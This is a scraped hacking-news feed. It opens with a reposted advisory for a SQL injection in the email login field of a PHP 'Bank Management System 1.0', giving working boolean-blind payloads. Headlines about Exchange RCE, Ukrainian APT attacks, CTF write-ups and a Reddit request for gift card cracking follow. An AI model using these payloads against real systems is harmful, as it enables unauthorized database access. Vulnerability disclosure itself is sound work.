Exploit Collector
Bank Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-QZ2Sf2sxziM/WWlvZhEG73I/AAAAAAAAIO0/d0s8s4TXkHwnfXzbpubNEBqDxa568NQgwCLcBGAs/s1600/h60.png
Bank Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | a1b518f4ff9226b46978f92199b94421

Download
# Title: Bank Management System - MCB Bank v1.0 - SQLi
# Author: nu11secur1ty
# Date: 02.25.2022
# Vendor: https://www.campcodes.com/projects/php/ by:Tariq Fareeds
# Software: https://www.campcodes.com/projects/php/bank-management-system-in-php-mysql-free-download/
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/campcodes.com/Bank-Management-System
## Description:
The email parameter from Bank Management System - MCB Bank v1.0
appears to be vulnerable to SQL injection attacks.
The payloads 30735302' or 9098=9098-- and 41995976' or 3071=3078--
were each submitted in the email parameter.
These two requests resulted in different responses, indicating that
the input is being incorporated into a SQL query in an unsafe way
WARNING: If this is in some external domain, or some subdomain
redirection, or internal whatever, this will be extremely dangerous!
Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: email=-9337' OR 4870=4870-- Cgzq&password=q7A!t8j!H2&cashierLogin=
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/campcodes.com/Bank-Management-System)

## Proof and Exploit:
[href](https://streamable.com/hvaaiu)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Exchange Server Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Ukrainian Troops Targeted in Phishing Attacks by Suspected Belarusian APT

Ukraine's Computer Emergency Response Team calls out UNIC1151 nation-state hacking group out of Belarus as behind the attacks.

hacking: security in practice
Attack on Ukrainian Government Websites Linked to GRU Hackers - bellingcat

https://external-preview.redd.it/WDBJ6Kw5ZTgHmZVXPSOHtC-p1QJmiAdmItT2lVc-p-E.jpg?width=640&crop=smart&auto=webp&s=846ed8fb4fe648a7e22cf9a3df8e308744628e92 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
gift card cracking

is there any method for gift card cracking

submitted by /u/AftonGobble
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Rapper / hacker YTCracker talks about how Loyd Blankenship's work influenced his music on this new podcast

https://external-preview.redd.it/T2y3GDGh-wmWiZPO22UFNa51g2lkzMF7idxUlitPH50.jpg?width=320&crop=smart&auto=webp&s=243df3974c9419d7cc92d27e5ec8b69d4fe04c46 submitted by /u/mc_lars
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
FOSS for training skills

Hi, can you recommend a few FOSS web apps for training pen testing skills?

submitted by /u/LaughNervous
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty: My Work Schedule

According to the 2020 H1 report:Continue reading on Medium »
Read more...

Bug Bounty: My Work Schedule
https://medium.com/@skavans_/bug-bounty-my-work-schedule-f7189fec246d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

According to the 2020 H1 report:Continue reading on Medium » (https://medium.com/@skavans_/bug-bounty-my-work-schedule-f7189fec246d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nuevas fallas descubiertas en el sistema operativo de red de Cisco para switches

https://cdn-images-1.medium.com/max/1528/0*Hj4GDRF-7xVCp0yd
PUBLICADO EN 25 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe — Road — Writeup

https://cdn-images-1.medium.com/max/600/1*rok5NoVYs1zpKK_MRYGmOA.png
Conforme a descrição do autor deste CTF, ele tem um “Q” de mundo real mesmo, o que é bem legal!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Setting up a Reverse SSH tunnel

https://cdn-images-1.medium.com/max/1256/1*VD4D2Z_Cgyt3qgMXizJk0w.png
The image above shows the command used to install open-ssh on the machine. After the SSH server is installed now we have to create the RSA…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
$2 Million Bounty For Ethereum Flaw

https://cdn-images-1.medium.com/max/770/1*hf3VwwQVOVUVGYsBu1Tl0w.png
Tags: Altcoin

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Es probable que TrickBot Gang cambie las operaciones para cambiar a un nuevo malware

https://cdn-images-1.medium.com/max/1595/0*nJJj7gix1834Gk-c
PUBLICADO EN 25 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
7 Steps to Take Right Now to Prepare for Cyberattacks by Russia

A lot of the recommended preparation involves measures organizations should have in place already.